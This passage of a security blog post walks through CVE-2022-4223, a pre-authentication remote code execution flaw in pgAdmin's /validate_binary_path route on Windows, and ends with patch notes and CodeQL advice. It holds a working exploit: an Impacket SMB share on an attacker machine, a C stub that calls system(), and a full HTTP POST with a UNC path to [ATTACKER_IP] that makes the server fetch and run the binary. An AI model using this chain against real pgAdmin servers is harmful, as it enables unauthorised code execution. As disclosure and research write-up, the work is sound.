At [1] the HTTP route handler is defined with /validate_binary_path being the corresponding URI part to trigger the code. We expect this to come in as POST request. request.data is read and at [2] the utility_path POST body parameter is processed within an if block. We don’t really care about the function at [3], you might check yourself “why”. But at [4] a constant named UTILITIES_ARRAY seems to heavily restrict our final input later flowing into the subprocess call. constants.py tells us that UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']. Fine, but at [5] we still control the now named binary_path variable, right? We control the path but not the file name being executed in the dangerous final sink at [6]. Also you might have observed that the flask_login module provides a @login_required annotation (check other routes of the web app) to check for an authenticated context. This is missing here, so we should at least be able to reach this route from an unauthenticated context. You can indeed!

But you know, this is Python and the Server mode setup guide mentioned in the beginning also describes an installation on Windows. I won’t go into a detailed step-by-step guide to install pgAdmin in Server mode on Windows because this took me over 3 hours and would make my blog post title obsolet *cough*.

If your patient enough, you could try to use your Python CLI on Windows to check what happens after using an UNC path to a remote share in the os.path.abspath(os.path.join(...)) construct. Guess what, it will work as expected and the file would have been retrieved, read, called, whatever.

Let’s try this by setting up an SMB server on our Linux attacker machine using the famous Impacket suite.

./smbserver.py myshare $HOME/tmp

In my tmp directory I create a file named after a randomly chosen entry from the list UTILITIES_ARRAY, e.g. pg_dump[.exe]. Well, not totally random content, we want to do it right the first time. So let’s create an .exe using the mingw cross-compiler and pg_dump.c like this.

void main() {
 system("cmd.exe /K mspaint");
}

Now POST /misc/validate_binary_path HTTP/1.1 should trigger the vulnerable code path. Depending on your pgAdmin Windows installation, you’ve to fetch a Cookie and CSRF-token first from either browsing to /, /login or /browser. It’s possible for any installation type, so we just assume you were able to retrieve the content for the X-pgA-CSRFToken header for now. The final payload looks like this.

POST /misc/validate_binary_path HTTP/1.1
Host: [TARGETHOST]
Cookie: [COOKIES_YOU_FETCHED_IN_ADVANCE]
X-pgA-CSRFToken: [CSRF_TOKEN_YOU_FETCHED_IN_ADVANCE]
Connection: close
Referer: https://[TARGETHOST]/browser/
Content-Length: [n]
Content-Type: application/json
{"utility_path":"\\\\[ATTACKER_IP]\\[PREFERED_SHARE_NAME]"}

After firing the payload, we see an incoming SMB connection at our attacker machine, retrieving the file(s) pg_dump.exe: Pre-Auth RCE achieved.

Patch

The pgAdmin team assigned CVE-2022-4223 and released a new version 6.17 quickly. Kudos to them and their kind communication. I’m proud also that they now improved their disclosure process by adding more information on their GitHub project and also discuss the creation of a SECURITY.md.

Alright, unauthenticated context for an attacker: killed. But in my opinion, the same exploit should still work from an authenticated context.

Final Thoughts

You might think: well, this was easy. Yeeesss, it was and everbody could have done it for sure. Use the tools and knowledge of all the bright people in infosec to help you through your journey of finding critical vulnerabilities. But please also have a deeper look into CodeQL first. From my experience, this was a total showcase, i.e. you might write your own queries and understand possible source APIs of your target application first before achieving any meaningful results. There exist some awesome workshops even with videos by the talented Alvaro Muñoz aka pwntester. I can also highly recommend the workshop videos “Finding security vulnerabilities in Java with CodeQL”. There is so much more: search and profit!